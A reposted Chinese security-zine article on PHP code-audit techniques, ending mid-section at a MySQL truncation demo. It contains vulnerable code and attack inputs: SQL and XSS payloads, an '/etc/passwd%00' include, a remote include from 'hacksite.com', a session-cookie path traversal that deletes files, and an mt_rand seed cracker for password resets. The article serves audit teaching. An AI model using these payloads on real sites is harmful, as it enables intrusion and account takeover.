【转】高级PHP应用程序漏洞审核技术

很值得花时间研究的一篇文章。


作者:Ph4nt0m Security Team

来源:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt

==Ph4nt0m Security Team==

Issue 0x03, Phile #0x06 of 0x07


|=---------------------------------------------------------------------------=|
|=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=----------------------=[ By www.80vul.com ]=------------------------=|
|=------------------------=[ <www.80vul.com> ]=--------------------------=|
|=---------------------------------------------------------------------------=|


[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
5.1 变量本身的key
5.2 变量覆盖
5.2.1 遍历初始化变量
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有魔术引号的保护
5.3.3 变量的编码与解码
5.3.4 二次攻击
5.3.5 魔术引号带来的新的安全问题
5.3.6 变量key与魔术引号
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
5.4.2 变量函数与双引号
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
5.5.2 PHP函数的其他漏洞
5.5.3 session_destroy()删除文件漏洞
5.5.4 随机函数
5.6 特殊字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录


一、前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强
大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应
用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应
用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇
佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很
多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没
有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在
这里需要感谢他们,:)


二、传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用
必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得
MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输
入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致
很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致
安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜
索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的
字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用
程序代码的审核,但是这些也依靠了我们上面提到的字典。


三、PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68%
2000-2007,No security fixes after 2008/08,最终版本是php4.4.9

php5 32%
2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

php6
目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc。
(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。
这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。


四、其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素
有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营
win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同
的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,
PHP版本等信息。


五、扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的
程序把变量本身的key也当变量提取给函数处理。

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

--code-------------------------------------------------------------------------
key.php?<script>alert(1);</script>=1&bbb=2
-------------------------------------------------------------------------------

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询
呢?:)

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.2 变量覆盖(variable-overwrite)

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指
定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

5.2.1 遍历初始化变量

请看如下代码:

--code-------------------------------------------------------------------------
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
-------------------------------------------------------------------------------

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分
的代码:

--code-------------------------------------------------------------------------
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.2.2 parse_str()变量覆盖漏洞(CVE-2007-3205)、mb_parse_str()

--code-------------------------------------------------------------------------
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
-------------------------------------------------------------------------------

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变
量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

--code-------------------------------------------------------------------------
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
-------------------------------------------------------------------------------

上面的代码通过提交$var来实现对$var1的覆盖。

+++++++++++++++++++++++++
漏洞审计策略(parse_str)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
+++++++++++++++++++++++++

+++++++++++++++++++++++++
漏洞审计策略(mb_parse_str)
-------------------------
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str
+++++++++++++++++++++++++


5.2.3 import_request_variables()变量覆盖漏洞(CVE-2007-1396)

--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略(import_request_variables)
-------------------------
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables
+++++++++++++++++++++++++


5.2.4 PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

--code-------------------------------------------------------------------------
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
-------------------------------------------------------------------------------

但是很多的程序没有考虑到这点,请看如下代码:

--code-------------------------------------------------------------------------
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf
攻击。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.3 magic_quotes_gpc与代码安全

5.3.1 什么是magic_quotes_gpc

当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个
反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、
mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影
响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤
变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是
就在他们放弃的同时也放过很多致命的安全漏洞。 :)

5.3.2 哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞
猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

+++++++++++++++++++++++++
漏洞审计策略($_SERVER变量)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER
+++++++++++++++++++++++++


2) getenv()得到的变量(使用类似$_SERVER变量)

+++++++++++++++++++++++++
漏洞审计策略(getenv())
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv
+++++++++++++++++++++++++


3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略(数据流)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++


4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)
+++++++++++++++++++++++++


5.3.3 变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中
就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
......
(另外一个 unserialize/serialize)

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
-------------------------------------------------------------------------------

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid='''
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数
+++++++++++++++++++++++++


5.3.4 二次攻击(详细见附录[1])

1) 数据库出来的变量没有进行过滤

2) 数据库的转义符号:

* mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数
据库时,通过转义变为')

* mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符
串直接处理,所以魔术引号对于mssql的注射没有任何意义)

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击
我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代
码看成一个vul?

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.3.5 魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是
目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1) 得到原字符(',\,",null])

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 1);

//提交 '
//魔术引号处理 \'
//substr '

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' LIMIT 1";
-------------------------------------------------------------------------------

2) 得到“\”字符

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 0,1);

//提交 '
//魔术引号处理 \'
//substr \

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
-------------------------------------------------------------------------------

提交内容:

--code-------------------------------------------------------------------------
?order_sn='&order_tn=%20and%201=1/*
-------------------------------------------------------------------------------

执行的SQL语句为:

--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码
+++++++++++++++++++++++++


5.3.6 变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------

1) 当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaa
bb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。
但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
-------------------------------------------------------------------------------

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

数组第一维变量的key不受魔术引号的影响。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


2) 当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过
addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

--code-------------------------------------------------------------------------
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}

function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
-------------------------------------------------------------------------------

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体
的值,但是没有处理变量本身的key,上面的代码显示结果如下:

Array
(
[aaa'aa] => 1\'
)
aaa'aa

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.4 代码注射

5.4.1 PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可
以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

--code-------------------------------------------------------------------------
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)
+++++++++++++++++++++++++


5.4.2 变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

--code-------------------------------------------------------------------------
echo "$a\n";
echo '$a\n';
-------------------------------------------------------------------------------

我们再看如下代码:

--code-------------------------------------------------------------------------
//how to exp this code
if($globals['bbc_email']){

$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
-------------------------------------------------------------------------------

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很
容易被人注射变量函数。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.5 PHP自身函数漏洞及缺陷

5.5.1 PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录[2])项目么,其中比较
有名的要算是unserialize(),代码如下:

--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
-------------------------------------------------------------------------------

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的
时候不要忘记了测试目标使用的PHP版本信息。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名
+++++++++++++++++++++++++


5.5.2 PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability

比如phpwind早期的serarch.php里的代码:

--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset
+++++++++++++++++++++++++


5.5.3 session_destroy()删除文件漏洞(测试PHP版本:5.1.2)

这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,
很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老
的版本中缺少过滤导致可以删除任意文件。测试代码如下:

--code-------------------------------------------------------------------------
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
-------------------------------------------------------------------------------

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样
就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,
sablog,phpwind3等等。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy
+++++++++++++++++++++++++


5.5.4 随机函数

1) rand() VS mt_rand()

--code-------------------------------------------------------------------------
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
-------------------------------------------------------------------------------

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

--code-------------------------------------------------------------------------
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
-------------------------------------------------------------------------------

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于
mt_rand是很难单纯的暴力的。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找rand
+++++++++++++++++++++++++


2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

-------------------------------------------------------------------------------
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )


用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空
时,会被设为随时数。

例子 1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已
自动完成。
-------------------------------------------------------------------------------

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

--code-------------------------------------------------------------------------
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);

$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
-------------------------------------------------------------------------------

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化
而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是
特定的。如下图:

+--------------+
| seed-A |
+--------------+
| mt_rand-A-1 |
| mt_rand-A-2 |
| mt_rand-A-3 |
+--------------+

+--------------+
| seed-B |
+--------------+
| mt_rand-B-1 |
| mt_rand-B-2 |
| mt_rand-B-3 |
+--------------+

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于
seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次
mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以
为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用
其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组
合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
<= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解
seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录
[3]),测试代码如下:

--code-------------------------------------------------------------------------
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
-------------------------------------------------------------------------------

通过上面的代码发现$a==$b,所以我们循环的次数为2^32/2=2^31次。我们看如下代码:

--code-------------------------------------------------------------------------
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";

function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';

$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}

function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }

if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
-------------------------------------------------------------------------------

运行结果如下:

-------------------------------------------------------------------------------
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致
了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

--code-------------------------------------------------------------------------
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
-------------------------------------------------------------------------------

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也
要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安
全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样
的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将
实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand
+++++++++++++++++++++++++


5.6 特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用
的一类字符。下面就举几个例子:

5.6.1 截断

其中最有名的数大家都熟悉的null字符截断。

5.6.1.1 include截断

--code-------------------------------------------------------------------------
<?php
include $_GET['action'].".php";
?>
-------------------------------------------------------------------------------

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有
其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交
“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个
看上去不是那么舒服那么我们简单写个代码fuzz一下:

--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";

$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
-------------------------------------------------------------------------------

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix
的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于
256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候
就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])


5.6.1.2 数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应
用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然
而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数
据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql
的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超
长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截
断问题。测试如下:

--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
